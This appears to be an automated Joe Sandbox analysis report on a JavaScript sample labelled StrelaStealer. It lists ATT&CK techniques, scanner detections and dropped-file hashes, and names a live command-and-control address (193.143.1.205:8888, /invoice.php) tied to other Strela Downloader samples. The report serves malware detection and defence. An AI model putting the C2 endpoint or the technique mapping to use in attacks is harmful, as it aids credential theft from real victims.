Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1003135002549521218.js	8%	Virustotal		Browse
1003135002549521218.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pZ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3322902241.0000022816A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2138800864.00000228168C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2124929304.0000012346D0F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2135518833.0000012346CEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142204739.0000012346CEB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/pZ	net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588808
Start date and time:	2025-01-11 05:45:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1003135002549521218.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.105, 2.16.168.107, 172.202.163.200, 13.107.246.45, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:46:52	API Interceptor	20x Sleep call for process: powershell.exe modified
23:46:55	API Interceptor	1x Sleep call for process: net.exe modified
23:46:56	API Interceptor	2x Sleep call for process: svchost.exe modified
23:47:08	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306933299126159
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugg:gJjJGtpTq2yv1AuNZRY3diu8iBVqFy
MD5:	699E065B360C00EF713820E0A38DAA92
SHA1:	000AE5738A0B93E11D93E42A87A30EE00E25E6A8
SHA-256:	3906B4E5BABD4C1D62C0EC1CD4985FD97F23444FAF17A3894B1E27DC64B2C74D
SHA-512:	E387384EE961C6566641971C33790718467D436BE4EB8ADED3F32F801E18841E7A48880078D9E63325D3D488149DD8AC87E55665D43C68D3342B8E490FBEBCD9
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe7138b51, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585074455621296
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	76FC149A527F366CBD6336CB9EC5563C
SHA1:	0A1135D80847319C3CA695D13247869911FFB704
SHA-256:	B36A3E16B039AE262C9631CDF9925F1DF4D5AFA805954BBA76D1C74759E231CB
SHA-512:	E3B8E350EA397FBA8D7B392F06652B26CDBB56E6CE53A73561C0F4ADB80DB012D479723F73A8B03397A47C16320A4DD815416578443E78DD06F25D6DC31BB6FB
Malicious:	false
Preview:	...Q... ...............X\...;...{......................0.z..........{..9....}G.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................<Ad$9....}..................!...9....}g..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07973274698291141
Encrypted:	false
SSDEEP:	3:zDXKYerEkYHuEkGuAJkhvekl1uMtl/lallrekGltll/SPj:3KzrERHGrxlYMvAJe3l
MD5:	65C368116D0B8526E8664D74333D781D
SHA1:	5923A387FEDEACC573CE3952187840C7FC658A64
SHA-256:	98245F5424BB507573281B98606DBA1C77846C44CC5BD683BCB9E882E85AFDF9
SHA-512:	D630FA8A22D544364C64C443735B88FA6BB7FC6403DBF7F929CD0B7EC081ADB2D7173F46B57341679C7EDBF6E5CBD8F93BEE9C8860CEF6C12A4A8A8E5AB8A72D
Malicious:	false
Preview:	...C.....................................;...{..9....}g......{...............{.......{...XL......{..................!...9....}g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.198320608105812
Encrypted:	false
SSDEEP:	6:iO4q/lL+q2P92nKuAl9OmbnIFUtSqhKWZmwsqiLVkwO92nKuAl9OmbjLJ:7X+v4HAahFUttKW/oV5LHAaSJ
MD5:	7E294EB63B5381AC17934D4322961E90
SHA1:	7963FBF268AE0EE28ABCA922DA6AD84EDB3EA29B
SHA-256:	B279D506670D92E196989FB225E75EE53BAF3239AC58B90D1A02616434F201E2
SHA-512:	5491411F48064A18A63558B54C73E23619B175878D65A37659913945E0506F6C42E4CB78A31A8B7E85DB877B07C382B209D1E01066E9DD33F1E48483DEE8AAC1
Malicious:	false
Preview:	2025/01/10-23:46:55.720 b3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:46:55.722 b3c Recovering log #3.2025/01/10-23:46:55.723 b3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.198320608105812
Encrypted:	false
SSDEEP:	6:iO4q/lL+q2P92nKuAl9OmbnIFUtSqhKWZmwsqiLVkwO92nKuAl9OmbjLJ:7X+v4HAahFUttKW/oV5LHAaSJ
MD5:	7E294EB63B5381AC17934D4322961E90
SHA1:	7963FBF268AE0EE28ABCA922DA6AD84EDB3EA29B
SHA-256:	B279D506670D92E196989FB225E75EE53BAF3239AC58B90D1A02616434F201E2
SHA-512:	5491411F48064A18A63558B54C73E23619B175878D65A37659913945E0506F6C42E4CB78A31A8B7E85DB877B07C382B209D1E01066E9DD33F1E48483DEE8AAC1
Malicious:	false
Preview:	2025/01/10-23:46:55.720 b3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:46:55.722 b3c Recovering log #3.2025/01/10-23:46:55.723 b3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180833622458205
Encrypted:	false
SSDEEP:	6:iO4qsFJkQ+q2P92nKuAl9Ombzo2jMGIFUtSqsX2dWZmwsqsX2QVkwO92nKuAl9OU:7i3R+v4HAa8uFUtosW/urV5LHAa8RJ
MD5:	773AD9B3AF30A13855F013CE9BFD46DB
SHA1:	041D77374320337ECEEFD25C1F6B4CBCC169F264
SHA-256:	C3164F43C130AC3D2F620EBCC3CD26479A8C4FB53F31289BCE518E3564381D39
SHA-512:	93D4213FA8CDFB4D9DBE90038E75808D0AE7CFC5782D8D79311ED41C73D8DDDE73C4B02C924D1A978B59276711536E26B756FC9556302800AA5BC81243F4C166
Malicious:	false
Preview:	2025/01/10-23:46:55.819 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:46:55.822 1c3c Recovering log #3.2025/01/10-23:46:55.822 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180833622458205
Encrypted:	false
SSDEEP:	6:iO4qsFJkQ+q2P92nKuAl9Ombzo2jMGIFUtSqsX2dWZmwsqsX2QVkwO92nKuAl9OU:7i3R+v4HAa8uFUtosW/urV5LHAa8RJ
MD5:	773AD9B3AF30A13855F013CE9BFD46DB
SHA1:	041D77374320337ECEEFD25C1F6B4CBCC169F264
SHA-256:	C3164F43C130AC3D2F620EBCC3CD26479A8C4FB53F31289BCE518E3564381D39
SHA-512:	93D4213FA8CDFB4D9DBE90038E75808D0AE7CFC5782D8D79311ED41C73D8DDDE73C4B02C924D1A978B59276711536E26B756FC9556302800AA5BC81243F4C166
Malicious:	false
Preview:	2025/01/10-23:46:55.819 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:46:55.822 1c3c Recovering log #3.2025/01/10-23:46:55.822 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.04662325208327
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqj3tsBdOg2H+caq3QYiubxnP7E4T3OF+:Y2sRdsq3OdMHB3QYhbxP7nbI+
MD5:	FEC177A9B1FA48B45A3FD067045E0FD0
SHA1:	110CD41C8B76650C1FC20F8920BE2E3989F2BE5F
SHA-256:	559E50382A92451A96E8DE9BF037EA57B511B4A6BE53E9008D48F4C004E3076B
SHA-512:	6DE6F653D9F7BF17E12F091DF2656542C572198245D17DC4FCFD002D24B36112A9A284D7979B1EBA165353708082133EA872551A30DACD0342F1C812942C4570
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130828179611","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131980},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e0fdf56f-8ad9-43e3-a9d0-10a4490a1713.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.04662325208327
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqj3tsBdOg2H+caq3QYiubxnP7E4T3OF+:Y2sRdsq3OdMHB3QYhbxP7nbI+
MD5:	FEC177A9B1FA48B45A3FD067045E0FD0
SHA1:	110CD41C8B76650C1FC20F8920BE2E3989F2BE5F
SHA-256:	559E50382A92451A96E8DE9BF037EA57B511B4A6BE53E9008D48F4C004E3076B
SHA-512:	6DE6F653D9F7BF17E12F091DF2656542C572198245D17DC4FCFD002D24B36112A9A284D7979B1EBA165353708082133EA872551A30DACD0342F1C812942C4570
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130828179611","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131980},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235852099416072
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUp1HlC9K:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL0
MD5:	622F2EEF70F3A7A9FB8170CF7E0B87C2
SHA1:	E19945FD585FFC4AEF87FF400DC5FD5C54E6F7AD
SHA-256:	1479AF00A8BD45922285D804BA7A20AC63D0324EA5608667C91E86AE2DBD6C01
SHA-512:	A093CB7A9C9DD26C0727A658C102D14660F3C222BAC9F77458EB4CA907422E097931AA8DFCE840365C5D48E7D638924C6192C315D4FF8132B4E6199BB887F5B0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175886256584298
Encrypted:	false
SSDEEP:	6:iO4qFjgfkQ+q2P92nKuAl9OmbzNMxIFUtSqFjGMdWZmwsqFjGMQVkwO92nKuAl9c:7zjW+v4HAa8jFUtpjGqW/XjG5V5LHAab
MD5:	58E7ABB76598EA261005D2AADF1108A3
SHA1:	C526216320C3CF032D068BD95D3720D797BF5FCB
SHA-256:	E638B5D2B2C031A470337F2ED83366EE90C558CB49CF3C275DB288E91AF95880
SHA-512:	C4B88B6150481A247B7A5866BE710CAECDBB3A990EBAAA9C1FC9574DB37397FCE68433BF45FBD97D783D6ECC194BE92E637B98B2266E032AD26B97BF20532BBC
Malicious:	false
Preview:	2025/01/10-23:46:56.225 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:46:56.227 1c3c Recovering log #3.2025/01/10-23:46:56.227 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175886256584298
Encrypted:	false
SSDEEP:	6:iO4qFjgfkQ+q2P92nKuAl9OmbzNMxIFUtSqFjGMdWZmwsqFjGMQVkwO92nKuAl9c:7zjW+v4HAa8jFUtpjGqW/XjG5V5LHAab
MD5:	58E7ABB76598EA261005D2AADF1108A3
SHA1:	C526216320C3CF032D068BD95D3720D797BF5FCB
SHA-256:	E638B5D2B2C031A470337F2ED83366EE90C558CB49CF3C275DB288E91AF95880
SHA-512:	C4B88B6150481A247B7A5866BE710CAECDBB3A990EBAAA9C1FC9574DB37397FCE68433BF45FBD97D783D6ECC194BE92E637B98B2266E032AD26B97BF20532BBC
Malicious:	false
Preview:	2025/01/10-23:46:56.225 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:46:56.227 1c3c Recovering log #3.2025/01/10-23:46:56.227 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklUw7R+M/tfllXlE/HT8k9+lhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKNwVeT80+lzdNMa8RdWBwRd
MD5:	6CC7CDDED8226DAD4E27367B1E45DFA2
SHA1:	FC6B7F09282AEF0FBDC12302446682A02D4EC20B
SHA-256:	8B6AC64CA125C12DE45D8BFCEFBE31CB24FFEA2C2C320EB6762F4FC3F663CFBC
SHA-512:	73EB732F0CB1A300E0A1D9A877DF991C2409019AD8EF669D8722845006C869DBB86D40D36C28E30BF6A345BFEBF6E234DD3B939C7DF8802F664E8DBACC0CD5A4
Malicious:	false
Preview:	p...... .........\...c..(....................................................... ..........W....Xo..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
